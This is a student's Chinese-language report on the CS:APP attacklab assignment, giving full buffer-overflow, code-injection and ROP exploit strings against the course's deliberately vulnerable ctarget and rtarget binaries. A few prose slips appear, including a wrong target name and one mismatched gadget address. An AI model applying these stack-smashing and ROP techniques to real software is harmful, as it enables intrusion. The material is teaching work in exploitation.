# ICS I attacklab 报告

中国人民大学 李修羽

## 摘 要

RUC 2023-2024 计算机系统基础 I attacklab 的解题思路和实现。

## 1 ctarget

### 1.1 Level 1

题目要求 `getbuf` 结束后返回到 `touch1`，查看汇编得到 `touch1` 的地址为 `0x4017d2`，`getbuf` 的汇编如下：

```
00000000004017bc <getbuf>:
  4017bc: 48 83 ec 38           sub    $0x38,%rsp
  4017c0: 48 89 e7              mov    %rsp,%rdi
  4017c3: e8 32 02 00 00        callq  4019fa <Gets>
  4017c8: b8 01 00 00 00        mov    $0x1,%eax
  4017cd: 48 83 c4 38           add    $0x38,%rsp
  4017d1: c3                    retq
```

分配了 56 字节的栈帧空间，于是在 57 到 60 字节修改 `retAddr` 的地址即可，攻击串为：

```
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 d2 17 40 00
```

## 1.2 Level 2

题目要求 getbuf 结束后返回到 touch2，同时传参 val 的值需要等于 cookie。在代码注入中将 cookie 的值（0x7b030d86）传入 %rdi，然后跳转到 touch2 的地址 0x4017fe。需要注入的代码如下：

```
Disassembly of section .text:

0000000000000000 <.text>:
  0: 48 c7 c7 86 0d 03 7b  mov    $0x7b030d86,%rdi
  7: 68 fe 17 40 00        pushq  $0x4017fe
  c: c3                    retq
```

同时应该修改 getbuf 的返回值为 buf 的起始地址，从而让输入的指令生效。使用 gdb 在 mov %rsp,%rdi 处打上断点，从而获取缓冲区起始地址：

```
(gdb) b *0x4017c0
Breakpoint 1 at 0x4017c0: file buf.c, line 14.
(gdb) r -q
Starting program: /mnt/c/Users/45195/OneDrive/
Cookie: 0x7b030d86

Breakpoint 1, getbuf () at buf.c:14
14      buf.c: No such file or directory.
(gdb) display $rsp
1: $rsp = (void *) 0x55649a88
```

于是将 retAddr 修改为 0x55649a88 即可，攻击串为：

```
48 c7 c7 86 0d 03 7b 68 fe 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 88 9a 64 55
```

## 1.3 Level 3

题目要求 getbuf 结束后返回到 touch2，同时传参字符串 sval 的值需要等于 cookie，使用函数 hexmatch 来比较。

```
0000000000401854 <hexmatch>:
  401854: 41 54                 push   %r12
  401856: 55                    push   %rbp
  401857: 53                    push   %rbx
  401858: 48 83 ec 70           sub    $0x70,%rsp
  ...                           ...
```

注意到 hexmatch 调用时的 push 和 sub $0x70,%rsp 改变了 buf 缓冲区的内容，可能导致注入的字符串被覆盖。

为了避免注入的 cookie 被覆盖掉，可以将其放在 getbuf 上一级 test 的栈帧，即攻击串的最后，对应的内存地址为 0x55649a88 + 0x40 = 0x55649ac8，需要注入的代码如下：

```
Disassembly of section .text:

0000000000000000 <.text>:
  0: 48 c7 c7 c8 9a 64 55  mov    $0x55649ac8,%rdi
  7: 68 d2 18 40 00        pushq  $0x4018d2
  c: c3                    retq
```

将 0x7b030d86 改为字符串 37 62 30 33 30 64 38 36，攻击串为：

```
48 c7 c7 c8 9a 64 55 68 d2 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 88 9a 64 55 00 00 00 00
37 62 30 33 30 64 38 36
```

# 2 rtarget

## 2.1 Level 2

题目要求 getbuf 结束后返回到 touch2，同时传参 val 的值需要等于 cookie，使用 ROP 攻击。

farm 区间的代码并没有包含立即数 $0x7b030d86，故需要将值存在栈中，使用 popq 传参。搜索机器码发现并不存在 popq %rdi，于是使用两步来传参。

```
58          popq %rax
48 87 c7    movq %rax, %rdi
```

在 farm 区间查找 gadget 可以查找到对应的起始地址：

```
0000000000401960 <setval_285>:
  401960: c7 07 58 c3 69 4c     movl   $0x4c69c358,(%rdi)
  401966: c3                    retq
```

```
000000000040196d <setval_437>:
  40196d: c7 07 48 89 c7 90     movl   $0x90c78948,(%rdi)
  401973: c3                    retq
```

58 c3 的起始地址为 0x401962，48 89 c7 90 c3 的起始地址为 0x401973，其中 c3 为 retq、90 为 nop。

将 gadget 起始地址和 cookie 值按调用顺序注入攻击串中，得

```
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 62 19 40 00 00 00 00 00
86 0d 03 7b 00 00 00 00 6f 19 40 00 00 00 00 00
fe 17 40 00 00 00 00 00
```

注意最后的 touch2 地址由于不是修改本来的 retAddr，需要补全 8 位，否则会导致 RE。

## 2.2 Level 3

题目要求 getbuf 结束后返回到 touch2，同时传参字符串 sval 的值需要等于 cookie，使用函数 hexmatch 来比较，使用 ROP 攻击。

由于栈随机化，无法获取 cookie 字符串的准确地址，考虑采用 %rsp 加上偏移值来获取起始地址。结合 farm 中可用的 gadget，可以得到操作指令及其对应的 gadget 起始地址：

```
48 89 e0    mov  %rsp, %rax             # 0x4019c4
48 89 c7    mov  %rax, %rdi             # 0x40196f
58          popq %rax                   # 0x401962
89 c2       mov  %eax, %edx             # 0x4019a1
89 d1       mov  %edx, %ecx             # 0x4019e5
89 ce       mov  %ecx, %esi             # 0x401a64
48 8d 04 37 lea  (%rdi, %rsi, 1), %rax  # 0x40199b <add_xy>
48 89 c7    mov  %rax, %rdi             # 0x40196f
```

将偏移值放在 popq %rax 后，在最后一条指令后加入 touch3 的地址和 cookie 字符串，字符串起始地址离 %rsp 的偏移值为 0x50。

但是注意到 getbuf 执行 ret 后相当于进行了一次 pop 操作，所以偏移量应该为 0x50 - 0x8 = 0x48，得攻击串为：

```
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c4 19 40 00 00 00 00 00
6f 19 40 00 00 00 00 00
62 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
a1 19 40 00 00 00 00 00
e5 19 40 00 00 00 00 00
64 1a 40 00 00 00 00 00
9b 19 40 00 00 00 00 00
6f 19 40 00 00 00 00 00
d2 18 40 00 00 00 00 00
37 62 30 33 30 64 38 36
```